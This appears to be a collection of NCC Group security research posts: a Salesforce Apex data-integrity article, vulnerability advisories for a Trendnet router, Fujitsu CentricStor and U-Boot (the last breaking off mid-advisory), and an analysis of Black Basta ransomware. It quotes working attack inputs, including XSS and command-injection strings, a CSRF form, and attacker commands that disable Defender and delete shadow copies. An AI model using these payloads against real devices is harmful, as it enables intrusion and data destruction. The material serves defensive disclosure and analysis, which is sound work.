In March 2022, DFINITY engaged NCC Group to conduct a security and cryptography review of a threshold ECDSA implementation, which follows a novel approach described in the reference paper entitled “Design and analysis of a distributed ECDSA signing service” and available on the IACR ePrint archive at https://eprint.iacr.org/2022/506. The threshold ECDSA protocol will be deployed into the architecture of the Internet Computer. The ability for canisters to perform threshold signature generation and verification will facilitate the integration of the Internet Computer with other blockchains using ECDSA signatures, including Bitcoin and Ethereum.

The project methodology primarily relied upon manual code review supported by dynamic interaction with the test cases, as well as review of the supporting reference paper. Following this review, in early May 2022, NCC Group performed a retest of the findings uncovered during the initial engagement. That follow-up engagement also included the review of a short pull request incorporating changes to the underlying encryption scheme.

The Public Report for this review may be downloaded below:

✇NCC Group Research

Exception Handling and Data Integrity in Salesforce

By: Jerome Smith

Robust exception handling is one of the tenets of best practice for development, no matter what the coding language. This blog post explores the curious circumstances in which a developer trying to do the right thing – but without appreciating the full effects – could lead to data integrity issues in a Salesforce Organization. As we’ll explore, the precise impact will vary according to what’s being done to which data, but the potential for consequences detrimental to security is clear.

The Salesforce platform tries to ensure data integrity by having an automatic rollback mechanism, delimited by the common database concept of a ‘transaction’. However, as is so often the case, the devil is in the detail. On the basis of recent code reviews, it is apparently under-appreciated how the addition of exception handling in Apex (the Salesforce development language) can affect the rollback mechanism, which in turn can affect data integrity. There have been a couple of notable articles on this subject in the past [1] as well as discussions on forum sites, but the treatment has been relatively light. After checking various permutations on a test Organization, this article qualifies and expands on existing material in this space, highlighting the potential consequences for security on top of more functional side effects. In other words, while the condition is not new, its impact as a security vulnerability is explored. It’s important to understand that this is not a vulnerability in the Salesforce platform itself but a bug that could arise during custom development whose impact may extend to security.

Background

The Data Manipulation Language (DML) is essentially the subset of Apex that allows access to the database, including write operations that SOQL (the Salesforce Object Query Language) doesn’t support. There are two ways to use DML: executing DML ‘statements’ or calling Database class methods. By way of example, the following two lines are equivalent:

1.  insert newAccounts;
2.  Database.insert(newAccounts);

Both ways accept a single sObject or, as the above examples imply, a List of sObjects. So what’s the difference? For one thing, using a Database class method (line 2) allows a finer degree of control for bulk operations: an optional allOrNone Boolean parameter governs whether processing should stop if an error is encountered [2]. The default value of this parameter is true, which means that a database error stops the processing of further sObjects in the List before an exception is thrown. This mode mirrors how a DML statement handles an error when working on a List. If allOrNone is explicitly set to false, partial processing is allowed: if an error occurs, the remaining work is still given a chance to complete. In addition, instead of throwing exceptions, a result object (or an array of them if a List is passed) is returned containing the status of each operation and any errors encountered. This allows the caller to inspect the results and handle any failures appropriately [3].

As mentioned in the opening remarks, Salesforce has the concept of a ‘transaction’ – a collection of database operations through a code path that has a definite start and end point. A classic example would be a call to an Aura endpoint by a client-side Lightning Component, where the start point would be the entry into the @AuraEnabled method and the end point would be its exit through the final return. In between, any number of other methods from any number of other classes could be called, and the collection of DML operations along the way would constitute this particular transaction. Salesforce documentation explains that:

…all changes are committed to the database only after all operations in the transaction finish executing and don’t cause any errors. [4]

While true in one sense, it doesn’t capture the full range of outcomes and how conditions can arise that may cause data integrity issues [5].

Risks to Data Integrity

Setting the allOrNone parameter to false in a call to a Database method is not accidental: it can be assumed that the caller wants partial processing. But a less obvious risk to data integrity can emerge when an exception is thrown within a try block after one or more DML operations have occurred, whether in the same try block or anywhere earlier in the transaction stack. The crucial point about automatic rollback is that it occurs after unhandled exceptions. But if the exception is caught [6], it is assumed the catcher knows what they are doing! If the catch block doesn’t explicitly handle any previous DML operations, those database changes will be committed – unless, of course, a new exception is thrown that either remains unhandled or is caught further up the stack where the database state is restored.

Reflecting on this, it’s relatively easy for a developer to write code that unintentionally makes a partial set of database changes under certain error conditions. This is like calling a Database method and setting allOrNone to false accidentally! The impact is obviously context-dependent, but it’s conceivable that the resulting state could have security implications.

Published examples in this area tend to have a DML operation as the cause of the exception, with a prior database operation being the problem to clean up. But an important point to highlight is that the exception need not relate to DML. Consider the following ‘proof-of-concept’ code:

// set up chgAccounts, a List of Accounts to update
try {
   update chgAccounts;   // need not be in this (or any) try block to be affected
   Account acc = [SELECT Name FROM Account WHERE Name = 'Acme'];
   // do something with acc, and maybe some other risky things
}
catch (Exception e) {}

Imagine one day that the Acme Account doesn’t exist anymore. Following the update, a System.QueryException is thrown because there is nothing to assign to the variable acc. Because the exception is caught (although ignored) the Account updates will be committed to the database. Note, as per the comment, that the update could be anywhere in the previous transaction path. This example also shows how the general bad practice of having empty catch blocks can have a specific consequence unique to Salesforce. However, even a valiant attempt at exception handling can still lead to data integrity problems if this specific aspect hasn’t been fully considered by the developer.

Whether the Account updates in the above case will have security implications, or indeed any kind of impact, will depend on the context. Let’s briefly consider a different scenario to illustrate a security risk. Imagine that custom code creates a new User during registration but, later in the transaction, an exception is raised and caught because a business logic check fails. Without adequate handling, the new user will still be created, and therefore the registrant could log in, contrary to business rules.

Finally, a particular use of the Database class is also worth calling out, whether it’s in a try block or not. Consider this single DML operation:

Database.update(newAccount, false);

Although the allOrNone parameter indicates that partial record processing is allowed, this method of database access will never throw exceptions and, in this example, the return values are effectively discarded. Therefore the caller has no idea of the success/failure status, whether a single sObject has been passed or a List. This may be acceptable in some cases, but it should be verified as such.

Recommendations

Any code path that includes a DML operation should be evaluated in full because a data integrity vulnerability could arise from an exception being caught at any point. Where custom exception handling is implemented, consider if any database changes earlier in the transaction need to be reverted manually. It is important to remember that catching an exception of any kind (not just one related to DML) could lead to a vulnerable condition. Clearly, using DML operations to reverse database changes should be avoided, since these too could raise exceptions, and round we go again. Instead, Salesforce supports a convenient ‘savepoint’ and ‘rollback’ mechanism [7].

If partial record processing is used explicitly, it is imperative that the return values from the particular Database method are captured, inspected and handled appropriately [8], using a format such as:

Database.SaveResult[] results = Database.insert(mySObjects, false);
for (Database.SaveResult result : results) {
   // check result.isSuccess() etc.
}

While potentially vulnerable conditions can be relatively simple to spot in a single method or class, remember that a transaction spans the life of a particular execution path. Therefore, establishing whether a vulnerability exists, and its resulting impact, can involve traversing back up that path. Even an exception thrown outside a try block could still lead to a data integrity issue if it’s caught further up the stack. For these reasons, an exhaustive search for this kind of vulnerability is likely beyond the remit of most manual code reviews because of time constraints and the complexity of analysis [9].

In Summary

This article aims to raise awareness of a particular kind of Apex vulnerability. In truth, while the necessary conditions may be common, perhaps more common than previously realised, instances of an exploitable vulnerability with a tangible benefit to an attacker will be rarer. Functional side effects, or simply an ‘untidy’ database, are a more likely result, but which are nevertheless unwanted and best avoided. It all depends on the context, though, and exploitable attack opportunities leveraging this condition may well exist out there. Through articles such as this, hopefully developers and code reviewers alike will be better able to find them.

Jerome Smith @exploresecurity

(thanks to Viktor Gazdag @wucpi for proof-reading)

Notes

[1] For example, https://medium.com/elevate-salesforce/apex-transaction-control-a-dml-case-study-c4b535825205 and https://www.crmscience.com/single-post/2020/05/20/how-salesforce-developers-handle-errors-with-try-catch-rollback-best-practices.
[2] https://developer.salesforce.com/docs/atlas.en-us.apexref.meta/apexref/apex_methods_system_database.htm
[3] https://developer.salesforce.com/docs/atlas.en-us.apexcode.meta/apexcode/langCon_apex_dml_database.htm
[4] https://developer.salesforce.com/docs/atlas.en-us.apexcode.meta/apexcode/langCon_apex_dml_transactions.htm
[5] This is why I have so far avoided the term ‘atomic’ – either everything completes or no changes are made – when talking about a transaction. In contrast, a single DML statement, or a Database method call with allOrNone missing or true, will process a List of sObjects in a truly atomic fashion: one failure will cause all changes made to the preceding records in the List to be reverted before an exception is thrown.
[6] Occasionally, system exceptions cannot be caught. One example is System.LimitException, which is raised when ‘governor limits’ are exceeded. If this exception is thrown, even within a try block, automatic rollback will follow because an unhandled error has been thrown. More information at https://developer.salesforce.com/docs/atlas.en-us.apexcode.meta/apexcode/langCon_apex_dml_examples.htm and https://developer.salesforce.com/docs/atlas.en-us.apexcode.meta/apexcode/apex_exception_statements.htm.
[7] https://developer.salesforce.com/docs/atlas.en-us.apexcode.meta/apexcode/langCon_apex_transaction_control.htm
[8] https://developer.salesforce.com/docs/atlas.en-us.apexcode.meta/apexcode/langCon_apex_dml_database_error.htm
[9] This is potentially something that static analysis tools could do, however. The current capability of Apex analysers has not been investigated during the research for this article.

✇NCC Group Research

Technical Advisory – Multiple Vulnerabilities in Trendnet TEW-831DR WiFi Router (CVE-2022-30325, CVE-2022-30326, CVE-2022-30327, CVE-2022-30328, CVE-2022-30329)

By: Andrea Shirley-Bellande

The Trendnet TEW-831DR WiFi Router was found to have multiple vulnerabilities exposing the owners of the router to potential intrusion of their local WiFi network and possible takeover of the device.

Five vulnerabilities were discovered. Below are links to the associated technical advisories:

Technical Advisories:

Stored XSS in Web Interface for Trendnet TEW-831DR WiFi router (CVE-2022-30326)

Vendor: Trendnet
Vendor URL: https://www.trendnet.com/
Versions affected: All Versions
System Affected: TEW-831DR
CVE Identifier: CVE-2022-30326
Severity: Medium 5.0

Summary

Trendnet TEW-831DR is a WiFi router with a web interface for configuration. It was found that the network pre-shared key field on the web interface is vulnerable to XSS.

Impact

An attacker can use a simple XSS payload to crash the main page of the router web interface.

Details

Stored XSS is a vulnerability related to improper validation of user input and output. In stored XSS the web interface accepts input from the user and stores it for later without proper encoding. A web application that is vulnerable to XSS allows an attacker to send a malicious script to the user.

The example below will crash the basic_conf page and create a popup on the 5G home.htm page:

<input type="text" name="pskValue0" id="pskValue0" size="30" maxlength="64" value="<script>alert(1)</script>">

Recommendation

This issue was fixed on the newest version of the firmware published by Trendnet, v1.0(601.130.1.1410). Owners of the vulnerable devices should update to the latest firmware through the web interface of the router to prevent exploitation of this bug.

Lack of Current Password Verification for Password/Username Change Feature (CVE-2022-30328)

Vendor: Trendnet
Vendor URL: https://www.trendnet.com/
Versions affected: All Versions
System Affected: TEW-831DR
CVE Identifier: CVE-2022-30328
Severity: Medium 4.0

Summary

Trendnet TEW-831DR is a WiFi router with a web interface for configuration. It was found that the router web interface has an insecure username and password setup.

Impact

A malicious user can change the username and password of the interface.

Details

The username and password setup for the router web interface does not require entering the existing password. An attacker can use CSRF to trick the user to send a request to the web interface to change the username and password of the router.

Recommendation

Trendnet indicated that this CVE will not be fixed at this point. Router owners should logout of the device web interface after use.

OS Command Injection in Trendnet TEW-831DR WiFi router (CVE-2022-30329)

Vendor: Trendnet
Vendor URL: https://www.trendnet.com/
Versions affected: All Versions
System Affected: TEW-831DR
CVE Identifier: CVE-2022-30329
Severity: Medium 6.3

Summary

Trendnet TEW-831DR is a WiFi router with a web interface for configuration. It was found that commands could be injected into the diagnostics field within the web interface.

Impact

An OS injection vulnerability was found within the web interface of the device allowing an attacker with valid credentials to execute arbitrary shell commands.

Details

The web interface has a diagnostics page that uses ping/traceroute. In the host(domain) an attacker can enter an IP with a ; at the end and inject a command to be executed by the device. Using command injection telnetd can be enabled. Telnetd is a remote terminal protocol server.

For example, the following can be entered into the host(domain) to enable telnetd:

192.168.10.02;telnetd &

After running the command, any telnet client can be used to login to the root account from the local area network (LAN):

user: root
Password: the admin password 

Running the ls command will list the files in the current directory:

bin   etc   init  mnt   root  tmp   var
dev   home  lib   proc  sys   usr   web

Recommendation

This issue was fixed on the newest version of the firmware published by Trendnet, v1.0(601.130.1.1410). Owners of the vulnerable devices should update to the latest firmware through the web interface of the router to prevent exploitation of this bug.

CSRF Vulnerability for Trendnet TEW-831DR WiFi router (CVE-2022-30327)

Vendor: Trendnet
Vendor URL: https://www.trendnet.com/
Versions affected: All Versions
System Affected: TEW-831DR
CVE Identifier: CVE-2022-30327
Severity: High 7.6

Summary

Trendnet TEW-831DR WiFi router is a general consumer WiFi router with a web interface for configuration. It was found that the routers browser interface is vulnerable to CSRF.

Impact

The WiFi router interface is vulnerable to CSRF. An attacker can change the pre-shared key to the WiFi router if the interface IP is known.

Details

Cross-Site Request Forgery is an attack that occurs when a user interacts with a malicious web application while logged into a vulnerable web application using the same browser. The malicious web application can send unwanted requests to the vulnerable web application.

If the user is logged into the router web interface an attacker could create a page like the example below and trick a user into clicking it to change the router WiFi pre-shared key or SSID.

e.g.:

<html>
  <!-- CSRF Template -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://192.168.10.1/boafrm/formWizard" method="POST">

      <input type="hidden" name="pskValue0" value="password" />
      <input type="hidden" name="pskValue1" value="password" />
      <input type="hidden" name="cliPskValue0" value="password" />
      <input type="hidden" name="cliPskValue1" value="password" />
      <input type="hidden" name="apply" value="Save &amp; Apply" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Recommendation

This issue was fixed on the newest version of the firmware published by Trendnet, v1.0(601.130.1.1410). Owners of the vulnerable devices should update to the latest firmware through the web interface of the router to prevent exploitation of this bug.

Weak Default Pre-Shared Key for Trendnet TEW-831DR WiFi Router (CVE-2022-30325)

Vendor: Trendnet
Vendor URL: https://www.trendnet.com/
Versions affected: All Versions
System Affected: TEW-831DR
CVE Identifier: CVE-2022-30325
Severity: Medium 4.0

Summary

Trendnet TEW-831DR is a WiFi router with a web interface for configuration. It was found that the default pre-shared key for the WiFi networks is the same for every router but the last four digits.

Impact

The device default pre-shared key for both 2.4GHz and 5GHz networks can be guessed or brute-forced by an attacker within range of the WiFi network. The weak pre-shared key allows the attacker to gain access to these networks if the pre-shared key has been left unchanged from the factory default.

Details

The device default pre-shared key has the same seven out of eleven digits for every router. An attacker within scanning range of the WiFi network can brute-force the last four digits to gain access to the network.

e.g.:

The first seven default characters of the pre-shared key:
831R100

Recommendation

Trendnet indicated that this CVE will not be fixed at this point. Router owners that are still using the default pre-shared key should update the current wifi key to new one through the web interface.

Disclosure Timeline:

March 15th, 2022: Initial email from NCC to Trendnet.

March 16th, 2022: Trendnet responded to the initial email.

March 18th, 2022: First communication of the bugs to Trendnet. Set the disclosure timeline to 60 days.

May 5th – May 23rd, 2022: Multiple emails exchanged to complete the fixes on the firmware version.

May 23rd, 2022: Trendnet confirmed the fixes were present in the firmware to be released.

June 2nd, 2022 – Trendnet released firmware version:v1.0(601.130.1.1410).

Thanks to

Nicolas Bidron, Jennifer Fernick, and David Goldsmith for their support throughout the research and disclosure process. Additionally, Trendnet for their on going cooperation.

About NCC Group

NCC Group is a global expert in cybersecurity and risk mitigation, working with businesses to protect their brand, value and reputation against the ever-evolving threat landscape. With our knowledge, experience and global footprint, we are best placed to help businesses identify, assess, mitigate & respond to the risks they face. We are passionate about making the Internet safer and revolutionizing the way in which organizations think about cybersecurity.

✇NCC Group Research

Technical Advisory – FUJITSU CentricStor Control Center

By: Luke Paris

Summary

On the 6th of April 2022, NCC Group’s Fox-IT discovered two separate flaws in FUJITSU CentricStor Control Center V8.1 which allows an attacker to gain remote code execution on the appliance without prior authentication or authorization.

The vulnerability is caused due to a lack of user input validation in two PHP scripts, which are normally included post-authentication. As no include-guards are in-place, an attacker is able to trigger the script without prior authentication by calling it directly.

Impact

An attacker is able to take control over the appliance as if they were logged in directly via a secure shell. If exploited, the attacker obtains limited user privileges on the machine as the “www-data” user; however, it should be noted that the Kernel on the system which NCC Group’s Fox-IT encountered is severely outdated, allowing an attacker to easily escalate their privileges to the administrative “root” user of the system.

Due to the sensitive nature of the system, any attacker with full control over the system is potentially able to read, modify and potentially destroy the entire virtual backup tapes, which could be used as an initial stage of a ransomware attack to ensure the victim is not able to recover and is forced to pay the ransom.

The following screenshot shows how NCC Group’s Fox-IT was able to gain remote code execution on the appliance using a custom-built Metasploit[1] module:

Figure 1 – Obtaining a Meterpreter[2] shell using a custom-built Metasploit module

Details

During a recent penetration test at one of NCC Group’s Fox-IT’s clients, a full review was performed of the backup process, as well as any appliances used, as to ensure the company has full system backups in the event of a ransomware breakout. One of the appliances in question was the FUJITSU CentricStor Control Center. Fox-IT requested read-only access to the appliance in order to assess the security of the product.

The web-application used to manage the backups was inspected, which lead NCC Group’s Fox-IT to discover the existence of two scripts, which are accessible by any user on the network and which pass user input directly to the “shell_exec” and “system” functions.

The two files in questions are as follows:

  • /srv/www/htdocs/custom/library/system/grel.php
  • /srv/www/htdocs/custom/library/system/hw_view.php

Command injection in grel.php (grelFileInfo)

The first vulnerability resides in the “grel_finfo” function in grel.php. An attacker is able to influence the username (“user”), password (“pw”), and file-name (“file”) parameters and inject special characters such as semicolons, backticks, or command-substitution sequences in order to force the application to execute arbitrary commands. The following screenshots show this in more detail:

Figure 2 – The grel_finfo function is defined and passes the $pw and $user variables directly to the system function call
Figure 3 – The grel_finfo function is called without any prior authentication

Command injection in hw_view.php

The second vulnerability resides in the "requestTempFile" function in hw_view.php. An attacker is able to influence the “unitName” POST parameter and inject special characters such as semicolons, backticks, or command-substitution sequences in order to force the application to execute arbitrary commands. The following screenshot shows this in more detail:

Figure 4 – The $unitName POST variable is passed directly to the shell_exec function without prior authentication

Recommendation

Upgrade the product to versions v8.1A SP02 P04 or v8.0A SP01. Unfortunately, a dedicated Fujitsu customer request is required to do this due the software distribution model. For more information please contact Fujitsu through their ServiceNow Portal or Support Assistant.

Lastly, block any inbound traffic to port 80 and 443 through the use of a network firewall. Traffic should be selectively allowed only to other instances of the appliance, and only made directly accessible through a management LAN. This ensures attackers are not able to reach the machine without gaining access to this network segment first.

Another temporary measure to secure the application for the time being could be to force the web-interface to bind to the local loopback interface (127.0.0.1) and using a reverse SSH forward to access the service that way. This ensures no attackers are able to reach the web-interface before authenticating over SSH first. Please note that this might void your warranty, as such it is not recommended.

Vendor Notice

Footnotes

1. https://en.wikipedia.org/wiki/Metasploit_Project

2. https://www.offensive-security.com/metasploit-unleashed/about-meterpreter/

3. https://www.php.net/manual/en/function.escapeshellarg.php

✇NCC Group Research

Shining the Light on Black Basta

By: RIFT: Research and Intelligence Fusion Team

Authored by: Ross Inman (@rdi_x64) and Peter Gurney

Summary

tl;dr

This blog post documents some of the TTPs employed by a threat actor group who were observed deploying Black Basta ransomware during a recent incident response engagement, as well as a breakdown of the executable file which performs the encryption.

A summary of the findings can be found below:

  • Lateral movement through use of Qakbot.
  • Gathering internal IP addresses of all hosts on the network.
  • Disabling Windows Defender.
  • Deleting Veeam backups from Hyper-V servers.
  • Use of WMI to push out the ransomware.
  • Technical analysis of the ransomware executable.

Black Basta

Black Basta are a ransomware group who have recently emerged, with the first public reports of attacks occurring in April this year. As is popular with other ransomware groups, Black Basta uses double-extortion attacks where data is first exfiltrated from the network before the ransomware is deployed. The threat actor then threatens to leak the data on the “Black Basta Blog” or “Basta News” Tor site. There are two Tor sites used by Black Basta, one which leaks stolen data and one which the victims can use to contact the ransomware operators. The latter site is provided in the ransom note which is dropped by the ransomware executable.

Black Basta TTPs

Lateral Movement

Black Basta was observed using the following methods to laterally move throughout the network after their initial access had been gained:

  • PsExec.exe which was created in the C:\Windows\ folder.
  • Qakbot was leveraged to remotely create a temporary service on a target host which was configured to execute a Qakbot DLL using regsvr32.exe:
    • regsvr32.exe -s \\<IP address of compromised Domain Controller>\SYSVOL\<random string>.dll
  • RDP along with the deployment of a batch file called rdp.bat which contained command lines to enable RDP logons. This was used to allow the threat actor to establish remote desktop sessions on compromised hosts, even if RDP was disabled originally:
    • reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" /v "fDenyTSConnections" /t REG_DWORD /d 0 /f
    • net start MpsSvc
    • netsh advfirewall firewall set rule group="Remote Desktop" new enable=yes
    • reg add "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v "UserAuthentication" /t REG_DWORD /d 0 /f

Defense Evasion

During the intrusion, steps were taken by the threat actor in order to prevent interference from anti-virus. The threat actor was observed using two main techniques to disable Windows Defender.

The first used the batch script d.bat which was deployed locally on compromised hosts and executed the following PowerShell commands:

  • powershell -ExecutionPolicy Bypass -command "New-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender' -Name DisableAntiSpyware -Value 1 -PropertyType DWORD -Force"
  • powershell -ExecutionPolicy Bypass -command "Set-MpPreference -DisableRealtimeMonitoring 1"
  • powershell -ExecutionPolicy Bypass Uninstall-WindowsFeature -Name Windows-Defender

The second technique involved creating a GPO (Group Policy Object) on a compromised Domain Controller which would push out the below changes to the Windows Registry of domain-joined hosts:

Figure 1 Parsed Registry.pol of the created GPO

Discovery

A text file in the C:\Windows\ folder named pc_list.txt was present on two compromised Domain Controllers, both contained a list of internal IP addresses of all the systems on the network. This was to supply the threat actor with a list of IP addresses to target when deploying the ransomware. 

Command and Control

Qakbot was the primary method utilised by the threat actor to maintain their presence on the network. The threat actor was also observed using Cobalt Strike beacons during the compromise.

Impact

Prior to the deployment of the ransomware, the threat actor established RDP sessions to Hyper-V servers and from there modified configurations for the Veeam backup jobs and deleted the backups of the hosted virtual machines.

An encoded PowerShell command was observed on one of the compromised Domain Controllers which, when decoded, yielded a script labelled as Invoke-TotalExec that provided the ability to spread and execute files over the network using WMI (Windows Management Instrumentation). The script appears to have been run to push out the ransomware binary to the IP addresses contained within the file C:\Windows\pc_list.txt. Analysis of the script indicates that two log files are created:

  • C:\Windows\Temp\log.info – Contains log entries for successful attempts.
  • C:\Windows\Temp\log.dat – Contains log entries for unsuccessful attempts.

For the incident investigated by NCC Group CIRT, only the latter log file had data. The log file contained entries relating to failed uploads for all the IP addresses from pc_list.txt, indicating that the threat actor attempted to deploy the ransomware executable across all hosts on the network, however this had failed.  Despite this, the ransomware was still deployed to Hyper-V servers and the Domain Controllers.

Recommendations

  1. Hypervisors should be isolated by placing them in a separate domain or by adding them to a workgroup to ensure that any compromise in the domain in which the hosted virtual machines reside does not pose any risk to the Hypervisors.
  2. Ensure that both online and offline backups are taken and test the backup strategy regularly to identify any weak points that could be exploited by an adversary.
  3. Restrict internal RDP and SMB traffic ensuring only hosts that are required to communicate via these protocols are allowed to.

Indicators of Compromise

IOC Value Indicator Type Description
23.106.160[.]188 IP Address Cobalt Strike Command-and-Controller server
eb43350337138f2a77593c79cee1439217d02957 SHA1 Batch script which enabled RDP on the host (rdp.bat)  
920fe42b1bd69804080f904f0426ed784a8ebbc2 SHA1 Batch script to disable Windows Defender (d.bat)
C:\Windows\PsExec.exe Filename PsExec
C:\Windows\SYSVOL\sysvol\<random string>.dll Filename Qakbot payload
C:\Windows\Temp\log.info C:\Windows\Temp\log.dat Filename Invoke-TotalExec output log files

Ransomware Technical Analysis 

Shadow Copy Deletion 

Upon execution, Black Basta performs several operations before launching its encryption activities. 

The Mutex ‘dsajdhas.0’ is checked before issuing the two vssadmin.exe commands listed below. Although the Mutex is static in this sample it is expected to change across future samples. 

C:\\Windows\\SysNative\\vssadmin.exe delete shadows /all /quiet 
C:\\Windows\\System32\\vssadmin.exe delete shadows /all /quiet 

These result in the deletion of shadow copies ensuring they cannot be used for recovery purposes. 

Wallpaper icon modification 

Following deletion of the shadow copies, two files are obtained from the binary. Firstly, a JPG file in the currently analysed sample is saved as ‘dlaksjdoiwq.jpg’, used as a wallpaper on targeted devices. The image used can be seen below in Figure 2. 

Figure 2 Desktop wallpaper image 

The second dropped file is an icon file obtained from within the binary and used as a default icon for all files with extension. basta. The file is saved in the currently analysed sample with the name fkdjsadasd.ico within the %Temp% directory, for example:

C:\Users\{Username}\AppData\Local\Temp 

The icon used can be seen below in Figure 3. 

Figure 3 Basta icon 

The wallpaper is modified to display the dropped JPG through the registry located at HKCU\Control Panel\Desktop\Wallpaper, setting the path to the JPG as seen below in Figure 4.  

Figure 4 String de-obfuscation example 

The next operation creates a new registry key with the name .basta under HKEY_CLASSES_ROOT and sets the DefaultIcon subkey to display the dropped .ico file. This results in files given a .basta file extension inheriting the Black Basta logo. The registry key can be seen below in Figure 5. 

Figure 5 Desktop wallpaper image 

Ransom Note 

The ransomware note is stored within the binary and written to a text file named readme.txt, as shown in Figure 6. This file is written to folders throughout the system. The content comprises a standard Black Basta template with a URL to a Tor site where victims can negotiate with operators. 

A company ID is also present, which varies between compromises. 

Figure 6 Ransom Note 

Exclusions 

In an attempt to avoid encrypting files or folders that are likely essential to the operation of the target machine or Black Basta itself, several exclusions are in place that will prevent encrypting specific files. This includes several extensions, folders and files listed below. 

Extension exclusions: 

  • exe 
  • cmd 
  • bat 
  • com 
  • bat 
  • basta 

File Folder exclusions: 

  • $Recycle.Bin 
  • Windows 
  • Documents and Settings 
  • Local Settings 
  • Application Data
  • OUT.txt
  • Boot
  • Readme.txt
  • Dlaksjdoiwq.jpg
  • NTUSER.DAT
  • fkdjsadasd.iso

A copy of the ransom note is placed where an eligible folder is found, and suitable files discovered within the folder are passed for encryption. 

Encryption 

Several threads are created that are responsible for performing the encryption activity. Each file that is not skipped by the previously mentioned exclusions is encrypted using the ChaCha20 cypher. 

The encryption key is generated using the C++ rand_s function resulting in a random 40-byte hexadecimal output.  

Figure 7 Random generation output 

The first 32 bytes are used as the ChaCha20 encryption key. 

Figure 8 Encryption key 

The last 8 bytes are used as the ChaCha20 nonce. 

Figure 9 Nonce 

The encryption key is encrypted using an implementation of RSA provided through the Mini GMP library. A public key is obtained from the binary that results in an output similar to the below output in Figure 10. 

Figure 10 Encrypted encryption key 

Black Basta, as with many ransomware variants, doesn’t encrypt the entire file, instead only partially encrypts the file to increase the speed and efficiency of encryption. Black Basta achieves this by only encrypting 64-byte blocks of a file interspaced by 128-bytes. This can be seen in Figure 11 below, where the first two encrypted data blocks are shown.  

Figure 11 Example encrypted file 

To further demonstrate this, an unencrypted version of the file can be seen below in Figure 12. 

Figure 12 Example of the unencrypted file 

Finally, the earlier generated RSA encrypted key and 0x00020000 are appended to the end of the file, which would be used for decryption purposes. 

Figure 13 appended encrypted key and hex 

Following successful encryption of a file, its extension is changed to .basta which automatically adjusts its icon to the earlier drop icon file. An example of what a victim would be presented with can be seen below in Figure 14. 

Figure 14 example post encrypted desktop 

While the ransom note threatens victims with the publication of data if the ransom is not met, initial analysis has not uncovered a mechanism for exfiltration. With access to the private key counterpart of the public key used earlier, recovery of the ChaCha20 encryption key by operators should be possible allowing for file decryption. No weakness in the encryption was discovered during analysis that would provide an opportunity for decryption without the private RSA key. 

✇NCC Group Research

Technical Advisory – Multiple Vulnerabilities in U-Boot (CVE-2022-30790, CVE-2022-30552)

By: Nicolas Bidron

By Nicolas Bidron, and Nicolas Guigo.

U-boot is a popular boot loader for embedded systems with implementations for a large number of architectures and prominent in most Linux based embedded systems such as ChromeOS and Android Devices.

Two vulnerabilities were uncovered in the IP Defragmentation algorithm implemented in U-Boot, with the associated technical advisories below:

  • Technical Advisory – Hole Descriptor Overwrite in U-Boot IP Packet Defragmentation Leads to Arbitrary Out of Bounds Write Primitive (CVE-2022-30790)
  • Technical Advisory – Large buffer overflow leads to DoS in U-Boot IP Packet Defragmentation Code (CVE-2022-30552)

Proof of concept code will be made available once the fixes have been published.

Technical Advisories:

Hole Descriptor Overwrite in U-Boot IP Packet Defragmentation Leads to Arbitrary Out of Bounds Write Primitive (CVE-2022-30790)

Project U-Boot
Project URL https://github.com/u-boot/u-boot
Versions affected all versions up to commit TBD
Systems affected All systems defining CONFIG_IP_DEFRAG
CVE identifier CVE-2022-30790
Advisory URL TBD
Risk Critical 9.6 (CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)
Authors Nicolas Guigo, Nicolas Bidron

Summary

U-boot is a popular boot loader for embedded systems with implementations for a large number of architectures and prominent in most linux based embedded systems.

Location

In u-boot/net/net.c the __net_defragment function line 900 through 1018.

Impact

The U-Boot implementation of RFC815 IP DATAGRAM REASSEMBLY ALGORITHMS is susceptible to a Hole Descriptor overwrite attack which ultimately leads to an arbitrary write primitive.

Description

In compiled versions of U-Boot that define CONFIG_IP_DEFRAG, a value of ip->ip_len (IP packet header’s total Length) higher than IP_HDR_SIZE and strictly lower than IP_HDR_SIZE+8 leads to a value for len comprised between 0 and 7. This ultimately results in a truncated division by 8 resulting in a value of 0, forcing the hole metadata and fragment to point to the same location. The subsequent memcpy then overwrites the hole metadata with the fragment data. Through a second fragment, this attacker-controlled metadata can be exploited to perform a controlled write to an arbitrary offset.

This bug is only exploitable from the local network as it requires crafting a malformed packet which would most likely be dropped during routing. However, this it can be effectively leveraged to root linux based embedded devices locally.

static struct ip_udp_hdr *__net_defragment(struct ip_udp_hdr *ip, int *lenp)
{
	static uchar pkt_buff[IP_PKTSIZE] __aligned(PKTALIGN);
	static u16 first_hole, total_len;
	struct hole *payload, *thisfrag, *h, *newh;
	struct ip_udp_hdr *localip = (struct ip_udp_hdr *)pkt_buff;
	uchar *indata = (uchar *)ip;
	int offset8, start, len, done = 0;
	u16 ip_off = ntohs(ip->ip_off);

	/* payload starts after IP header, this fragment is in there */
	payload = (struct hole *)(pkt_buff + IP_HDR_SIZE);
	offset8 =  (ip_off & IP_OFFS);
	thisfrag = payload + offset8;
	start = offset8 * 8;
	len = ntohs(ip->ip_len) - IP_HDR_SIZE;

The last line of the previous excerpt from u-boot/net/net.c shows how the attacker can control the value of len to be strictly lower than 8 by issuing a packet with ip_len between 21 and 27 (IP_HDR_SIZE has a value of 20).

Also note that offset8 here is 0 which leads to thisfrag = payload.

	} else if (h >= thisfrag) {
		/* overlaps with initial part of the hole: move this hole */
		newh = thisfrag + (len / 8);
		*newh = *h;
		h = newh;
		if (h->next_hole)
			payload[h->next_hole].prev_hole = (h - payload);
		if (h->prev_hole)
			payload[h->prev_hole].next_hole = (h - payload);
		else
			first_hole = (h - payload);

	} else {

Later in the same function, execution reaches the above code path. Here, len / 8 evaluates to 0 leading to newh = thisfrag. Also note that first_hole here is 0 since h and payload point to the same location.

	/* finally copy this fragment and possibly return whole packet */
	memcpy((uchar *)thisfrag, indata + IP_HDR_SIZE, len);

In the above excerpt the call to memcpy() overwrites the hole metadata (since thisfrag and h both point to the same location) with arbitrary data from the fragmented IP packet data. With a len value of 6, last_byte, next_hole, and prev_hole of the first_hole all end- up attacker-controlled.

Finally the arbitrary write is triggered by sending a second fragment packet, whose offset and length only need to fit within the hole pointed to by the previously controlled metadata (next_hole) set from the first packet.

Recommendation

